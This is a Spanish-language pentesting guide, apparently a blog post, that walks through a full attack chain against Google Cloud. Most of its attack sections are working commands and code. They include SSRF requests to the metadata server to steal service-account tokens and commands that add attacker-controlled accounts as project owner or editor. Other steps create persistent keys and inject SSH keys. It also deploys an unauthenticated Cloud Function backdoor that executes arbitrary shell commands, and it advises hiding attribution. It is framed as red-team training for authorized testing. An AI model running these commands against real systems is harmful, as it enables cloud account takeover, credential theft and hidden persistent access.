Guía de Pentesting en GCP 2026: Atacando Google Cloud

Google Cloud ya no es solo el hermano pequeño de AWS. Es la columna vertebral de YouTube, Google Workspace y miles de entornos Fortune 500. En 2026, GCP impulsa una parte significativa de la infraestructura empresarial — y la mayoría de los red teams todavía no sabe cómo atacarla correctamente.

Esta guía soluciona eso. Recorreremos una cadena de ataque completa en GCP: desde reconocimiento pasivo hasta persistencia, usando comandos reales contra servicios reales. Si has completado nuestra guía de pentesting AWS o guía de pentesting Azure , esta sigue la misma estructura — pero GCP tiene sus propias particularidades que te van a dar problemas si la tratas como AWS.

Antes de Empezar: Alcance Legal

La política de pruebas de penetración de Google difiere de AWS. Google no requiere autorización previa para hacer pentesting en recursos GCP que posees o tienes permiso escrito explícito para probar. Sin embargo:

No puedes probar infraestructura compartida (Cloud DNS, Cloud CDN, balanceadores GFE) sin permiso
Las pruebas de DoS están prohibidas
Tu alcance debe estar documentado — obtén por escrito la autorización del dueño del activo
Para probar el entorno GCP de un cliente, incluye su número de cuenta en la carta de autorización

Lee la Política de Uso Aceptable de Google Cloud antes de comenzar.

Fase 1: Reconocimiento

Reconocimiento Pasivo — Encontrar el Footprint GCP

Encontrar buckets GCS pasivamente:

Las URLs de buckets GCS siguen patrones predecibles: https://storage.googleapis.com/BUCKET_NAME.

# Google dorking para buckets GCS expuestos
site:storage.googleapis.com "target-company"
site:storage.googleapis.com inurl:"target"

# Usando GCPBucketBrute para enumeración
python3 GCPBucketBrute.py --keyword targetcompany --out results.txt

Mapeo de ASN y rangos de IP:

# Descargar rangos de IP de GCP
curl -s https://www.gstatic.com/ipranges/cloud.json | jq '.prefixes[] | select(.scope=="us-central1") | .ipv4Prefix'

# Encontrar dominios hospedados en GCP vía DNS inverso
amass enum -d target.com -src | grep -i "google"

Encontrar IDs de proyectos GCP vía DNS:

# Verificar Firebase, App Engine, Cloud Run
dig app.target.com
# App Engine: dominios appspot.com → el ID del proyecto es el subdominio
# Cloud Run: dominios run.app

# Buscar buckets de almacenamiento en código fuente HTML
curl -s https://target.com | grep -E "storage\.googleapis\.com|\.appspot\.com"

Escaneo de GitHub por Credenciales Filtradas

Las claves de service account son el equivalente GCP de las claves de acceso AWS — y se filtran constantemente:

# Buscar en GitHub por claves de service account filtradas
gh search code '"type": "service_account"' --extension json

# Usando truffleHog
trufflehog github --org=targetorg --token=$GITHUB_TOKEN

# Usando gitleaks
gitleaks detect --source=/path/to/cloned/repo -v

Los archivos de claves de service account se ven así — si encuentras uno, tienes acceso inicial:

{
  "type": "service_account",
  "project_id": "target-project-123",
  "private_key_id": "...",
  "private_key": "-----BEGIN RSA PRIVATE KEY-----...",
  "client_email": "[email protected]"
}

Fase 2: Acceso Inicial

Claves de Service Account Filtradas

Si encontraste un archivo de clave de service account, autentícate inmediatamente:

# Autenticar con el archivo de clave
gcloud auth activate-service-account --key-file=found-key.json

# Verificar quién eres
gcloud auth list
gcloud config list

# Verificar en qué proyecto estás
gcloud projects list

SSRF al Servidor de Metadatos de GCP

El servidor de metadatos de GCP vive en 169.254.169.254 — accesible desde cualquier instancia de Compute Engine. Si encontraste una vulnerabilidad SSRF en una aplicación hospedada en GCP, esta es tu ruta a las credenciales:

# Obtener metadatos de la instancia
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/

# Obtener token de acceso de service account (la joya de la corona)
curl -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"

# Obtener ID del proyecto
curl -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/project/project-id"

# Obtener todas las service accounts adjuntas a la instancia
curl -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/"

Usar el token robado:

export TOKEN="ya29.STOLEN_TOKEN_HERE"

# Usar con curl directo
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"

Buckets GCS Expuestos

# Verificar si el bucket es públicamente accesible
curl -s "https://storage.googleapis.com/target-bucket-name/"

# Listar contenidos del bucket sin autenticación
gsutil ls gs://target-bucket-name/

# Verificar ACLs de AllUsers o AllAuthenticatedUsers
gsutil iam get gs://target-bucket-name

# Descargar archivos interesantes
gsutil cp gs://target-bucket-name/config/database.yml .
gsutil cp gs://target-bucket-name/*.json .

Fase 3: Enumeración

Una vez que tienes credenciales, enumera todo antes de tocar nada. El ruido te delata.

Enumeración Principal con gcloud

# ¿Qué proyectos puedes ver?
gcloud projects list

# Establecer tu proyecto objetivo
gcloud config set project TARGET_PROJECT_ID

# ¿Quién eres? ¿Qué puedes hacer?
gcloud auth list
gcloud iam service-accounts list

# Listar todos los bindings IAM del proyecto
gcloud projects get-iam-policy TARGET_PROJECT_ID

# ¿Qué roles tiene tu SA actual?
gcloud projects get-iam-policy TARGET_PROJECT_ID \
  --format=json | jq '.bindings[] | select(.members[] | contains("YOUREMAIL"))'

Instancias de Compute

# Listar todas las instancias de compute en todas las zonas
gcloud compute instances list

# Obtener detalles de la instancia
gcloud compute instances describe INSTANCE_NAME --zone=ZONE --format=json

# Verificar qué service account está adjunta
gcloud compute instances describe INSTANCE_NAME --zone=ZONE \
  --format="json(serviceAccounts)"

# Encontrar instancias con IPs públicas
gcloud compute instances list --filter="networkInterfaces[0].accessConfigs[0].natIP:*"

Buckets de Almacenamiento

# Listar todos los buckets en el proyecto
gsutil ls

# Verificar permisos en cada bucket
for bucket in $(gsutil ls); do
  echo "=== $bucket ==="
  gsutil iam get $bucket 2>/dev/null | grep -E "allUsers|allAuthenticatedUsers"
done

# Encontrar buckets con nombres sensibles
gsutil ls | grep -E "backup|config|secret|key|credential|prod|database"

Service Accounts

# Listar todas las service accounts
gcloud iam service-accounts list

# Verificar claves de cada service account (las claves antiguas son minas de oro)
for sa in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "=== $sa ==="
  gcloud iam service-accounts keys list --iam-account=$sa
done

# Obtener roles vinculados a una service account específica
gcloud projects get-iam-policy PROJECT_ID \
  --format=json | jq --arg sa "serviceAccount:SA_EMAIL" \
  '.bindings[] | select(.members[] == $sa)'

ScoutSuite para Enumeración GCP Automatizada

Para enumeración completa, usa ScoutSuite — genera un informe HTML que cubre toda la superficie de ataque de GCP:

pip install scoutsuite

# Autenticar primero
gcloud auth application-default login

# Ejecutar ScoutSuite contra GCP
scout gcp --report-dir ./scoutsuite-report \
  --project-id TARGET_PROJECT_ID

Fase 4: Escalada de Privilegios

La escalada de privilegios IAM en GCP es matizada. La idea clave: si puedes modificar políticas IAM o crear/suplantar service accounts, puedes escalar.

Escalada IAM Directa

# Si tienes resourcemanager.projects.setIamPolicy, agregate como Owner
gcloud projects add-iam-policy-binding TARGET_PROJECT \
  --member="serviceAccount:[email protected]" \
  --role="roles/owner"

# O agregar un usuario que controlas
gcloud projects add-iam-policy-binding TARGET_PROJECT \
  --member="user:[email protected]" \
  --role="roles/owner"

Creación de Claves de Service Account

Si tienes iam.serviceAccountKeys.create en una service account privilegiada:

# Crear una nueva clave para una service account de alto privilegio
gcloud iam service-accounts keys create /tmp/privesc-key.json \
  --iam-account=admin-sa@TARGET_PROJECT.iam.gserviceaccount.com

# Autenticar con la nueva clave
gcloud auth activate-service-account --key-file=/tmp/privesc-key.json

Suplantación de Service Account (Abuso de actAs)

iam.serviceAccounts.actAs es peligroso. Si tu SA tiene este permiso en una SA más privilegiada:

# Generar un token para la SA objetivo suplantándola
gcloud auth print-access-token \
  --impersonate-service-account=[email protected]

# Usar --impersonate-service-account en cualquier comando gcloud
gcloud storage ls --impersonate-service-account=[email protected]

Fase 5: Movimiento Lateral

Intercambio de Tokens de Service Account

# Obtener token de acceso para SA actual
ACCESS_TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" \
  | jq -r '.access_token')

# Usar token para acceder a otras APIs GCP directamente
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://sqladmin.googleapis.com/v1/projects/PROJECT/instances"

curl -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://secretmanager.googleapis.com/v1/projects/PROJECT/secrets"

# Listar secretos (Secret Manager a menudo tiene contraseñas de BD, claves API)
gcloud secrets list
gcloud secrets versions access latest --secret=SECRET_NAME

Moverse Entre Proyectos

Los recursos de GCP a menudo abarcan múltiples proyectos. Las service accounts de un proyecto pueden tener bindings en otro:

# Verificar todos los proyectos a los que tu SA actual tiene acceso
gcloud projects list --format="value(projectId)" | while read proj; do
  result=$(gcloud projects get-iam-policy $proj 2>/dev/null | \
    grep "YOUR_SA_EMAIL")
  if [ -n "$result" ]; then
    echo "Acceso al proyecto: $proj"
    echo "$result"
  fi
done

Pivoting vía Instancias de Compute

# Si tienes compute.instances.setMetadata, inyecta claves SSH
gcloud compute instances add-metadata INSTANCE_NAME \
  --zone=ZONE \
  --metadata="ssh-keys=attacker:$(cat /tmp/attacker_rsa.pub)"

# Conectar vía SSH
ssh attacker@EXTERNAL_IP

# O usar OS Login si está habilitado
gcloud compute ssh INSTANCE_NAME --zone=ZONE --tunnel-through-iap

Fase 6: Persistencia

Crear Claves de Service Account de Larga Duración

# Crear una nueva clave para una SA de alto privilegio
gcloud iam service-accounts keys create /tmp/persist-key.json \
  --iam-account=[email protected]

# Las claves no expiran por defecto — esto es persistencia
gcloud auth activate-service-account --key-file=/tmp/persist-key.json

Añadir Bindings IAM a Cuenta Controlada por el Atacante

# Añadir una cuenta Gmail que controlas como Editor
gcloud projects add-iam-policy-binding PROJECT_ID \
  --member="user:[email protected]" \
  --role="roles/editor"

# O añadir como Service Account User en una SA de alto privilegio
gcloud iam service-accounts add-iam-policy-binding \
  [email protected] \
  --member="user:[email protected]" \
  --role="roles/iam.serviceAccountTokenCreator"

Backdoor con Cloud Function

# Crear una función backdoor
cat > /tmp/backdoor/main.py << 'EOF'
import subprocess
import functions_framework

@functions_framework.http
def backdoor(request):
    cmd = request.args.get('cmd', 'id')
    result = subprocess.check_output(cmd, shell=True).decode()
    return result, 200
EOF

# Desplegar
gcloud functions deploy backdoor \
  --runtime=python311 \
  --trigger-http \
  --allow-unauthenticated \
  --region=us-central1 \
  --source=/tmp/backdoor

Herramientas

Herramienta	Uso	Instalar
gcloud CLI	Interacción principal con GCP	SDK de `gcloud`
GCPBucketBrute	Enumeración de buckets GCS	`pip install gcpbucketbrute`
ScoutSuite	Evaluación de seguridad automatizada	`pip install scoutsuite`
Pacu (módulos GCP)	Enumeración IAM, privesc	`pip install pacu`
truffleHog	Escaneo de secretos en repositorios	`pip install trufflehog`
Cartography	Visualización de gráficos GCP	`pip install cartography`

GCPBucketBrute

El estándar para enumeración de buckets. Prueba lectura pública, escritura pública y acceso autenticado:

git clone https://github.com/RhinoSecurityLabs/GCPBucketBrute
cd GCPBucketBrute
pip install -r requirements.txt

# Ejecutar contra una palabra clave
python3 gcpbucketbrute.py --keyword targetcompany --out buckets.txt

# Con autenticación
python3 gcpbucketbrute.py --keyword targetcompany \
  --sa-key-file /path/to/key.json --out buckets.txt

Configuración del Laboratorio

Necesitas dos entornos: una máquina atacante y un proyecto GCP objetivo.

Máquina Atacante: Levanta un VPS en Vultr o DigitalOcean — una instancia de $6/mes es suficiente. Instala el SDK de gcloud, ScoutSuite y las otras herramientas listadas. No ejecutes ataques GCP desde tu IP de casa si te importa la atribución.

Entorno GCP Objetivo: Google ofrece un nivel gratuito con $300 de crédito. Crea un proyecto nuevo, configúralo intencionalmente mal en algunos bindings IAM y buckets GCS, y ejecuta esta guía contra tu propia infraestructura.

Permisos Clave a Buscar

Cuando aterrizas en una service account, verifica inmediatamente estos permisos peligrosos:

Permiso	Impacto
`resourcemanager.projects.setIamPolicy`	Toma de control total del proyecto
`iam.serviceAccounts.actAs`	Suplantar cualquier SA en alcance
`iam.serviceAccountKeys.create`	Crear claves persistentes
`compute.instances.setMetadata`	Inyección de claves SSH
`cloudfunctions.functions.create`	Desplegar funciones backdoor
`secretmanager.secrets.access`	Leer todos los secretos
`storage.buckets.setIamPolicy`	Hacer buckets públicos
`iam.roles.update`	Añadir permisos a roles existentes

Errores Comunes de los Red Teams en GCP

Olvidar el header Metadata-Flavor: Google — el servidor de metadatos rechaza solicitudes sin él
Ignorar los bindings entre proyectos — tu SA puede tener acceso a 10 otros proyectos
No verificar el IAM a nivel de Org — los bindings a nivel de org/carpeta anulan los del proyecto
Ignorar Secret Manager — los equipos GCP almacenan todo ahí; enuméralo temprano
Pasar por alto Cloud Build — se ejecuta con permisos SA elevados; verifica el historial de builds

Qué Sigue

Recorre la guía de pentesting AWS y la guía de pentesting Azure si aún no lo has hecho — la comparación de tres nubes acelera tu comprensión de dónde GCP es únicamente peligroso versus dónde refleja a los otros.

El modelo IAM de GCP es el más granular de las tres grandes nubes. Eso es una ventaja para los defensores y un rompecabezas para los atacantes. Aprende los nombres de los permisos. Son tu mapa.

¿Necesitas contenido de ciberseguridad escrito profesionalmente para tu blog, empresa o clientes? CipherWrite entrega artículos de nivel experto, whitepapers y posts de LinkedIn — escritos por red teamers, para red teamers.

Antes de Empezar: Alcance Legal#

Fase 1: Reconocimiento#

Reconocimiento Pasivo — Encontrar el Footprint GCP#

Escaneo de GitHub por Credenciales Filtradas#

Fase 2: Acceso Inicial#

Claves de Service Account Filtradas#

SSRF al Servidor de Metadatos de GCP#

Buckets GCS Expuestos#

Fase 3: Enumeración#

Enumeración Principal con gcloud#

Instancias de Compute#

Buckets de Almacenamiento#

Service Accounts#

ScoutSuite para Enumeración GCP Automatizada#

Fase 4: Escalada de Privilegios#

Escalada IAM Directa#

Creación de Claves de Service Account#

Suplantación de Service Account (Abuso de actAs)#

Fase 5: Movimiento Lateral#

Intercambio de Tokens de Service Account#

Moverse Entre Proyectos#

Pivoting vía Instancias de Compute#

Fase 6: Persistencia#

Crear Claves de Service Account de Larga Duración#

Añadir Bindings IAM a Cuenta Controlada por el Atacante#

Backdoor con Cloud Function#

Herramientas#

GCPBucketBrute#

Configuración del Laboratorio#

Permisos Clave a Buscar#

Errores Comunes de los Red Teams en GCP#

Qué Sigue#